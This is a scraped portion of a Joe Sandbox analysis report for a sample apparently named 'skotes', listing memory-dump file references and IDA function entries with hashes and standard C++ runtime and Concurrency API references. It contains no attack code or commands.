Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: BuffersFlushProcessWrite
String ID:
API String ID: 2982998374-0
Opcode ID: 805ec8c11c3179dfc52165d4cabf1ee2b90951a6c262d09b4510e588211315a3
Instruction ID: 1853db4f12340c36eafc869667634c9d27785c681cde5612984f81c99d80f49e
Opcode Fuzzy Hash: 805ec8c11c3179dfc52165d4cabf1ee2b90951a6c262d09b4510e588211315a3
Instruction Fuzzy Hash: F1B09232A1383047CA922B14BC086AE7714AA81A2130A8156E841A72348A191E828FE8

Function 007BDD91 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dfd133aeccc44c7e759c0dc6c8cd75b13ae350eef0a1ffdc2e5d1c6a458d3541
Instruction ID: 122cdf596a6deb232ad4437a8db9eebe3d12ae222578721b70a1a2a274308295
Opcode Fuzzy Hash: dfd133aeccc44c7e759c0dc6c8cd75b13ae350eef0a1ffdc2e5d1c6a458d3541
Instruction Fuzzy Hash: 04519CB2A056168FEB65CF58D8857AEB7F1FB48314F24856AD409EB250E378ED40CF60

Function 007BF028 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 229COMMONLIBRARYCODE

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 007BF2BB

Strings

pEvents, xrefs: 007BF2B3

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pEvents
API String ID: 2141394445-2498624650
Opcode ID: 36baf28771f78ac6c6719534815009948bc61f2601d0aee0d570aa8abad692c5
Instruction ID: ac0b164f40738674cc111fc613f4797458a99bd77a6a58fb4eb40212b7bd5a76
Opcode Fuzzy Hash: 36baf28771f78ac6c6719534815009948bc61f2601d0aee0d570aa8abad692c5
Instruction Fuzzy Hash: 71817B75D00219DBCF25EFA8CD89BEEB7B5BF04B10F144429E401A7282DB38AE45CB91

Function 007D26D1 Relevance: 22.7, APIs: 15, Instructions: 231COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 007D26E3

Part of subcall function 007D24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007D2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 007D2704
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 007D2711
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 007D275F
Concurrency::details::SchedulerBase::AcquireQuickCacheSlot.LIBCMT ref: 007D27E6
Concurrency::details::WorkSearchContext::QuickSearch.LIBCMT ref: 007D27F9
Concurrency::details::WorkSearchContext::SearchCacheLocal_Runnables.LIBCONCRT ref: 007D2846

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: e27876fb75acc218063015baac58bb213da2166995b8f992201d71d557fd6ff3
Instruction ID: 8c42ea0fb958cbfcd7464332a126f53dd8a59629c698ea8043be2af322ff6c1c
Opcode Fuzzy Hash: e27876fb75acc218063015baac58bb213da2166995b8f992201d71d557fd6ff3
Instruction Fuzzy Hash: 2181BB30900249ABDF169F64C955BBE7BB2AF65314F04009AED413B353C73A9D27EB61

Function 007D2970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 007D2982

Part of subcall function 007D24E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 007D2504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 007D29A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 007D29B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 007D29FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 007D2AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 007D2AD8

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
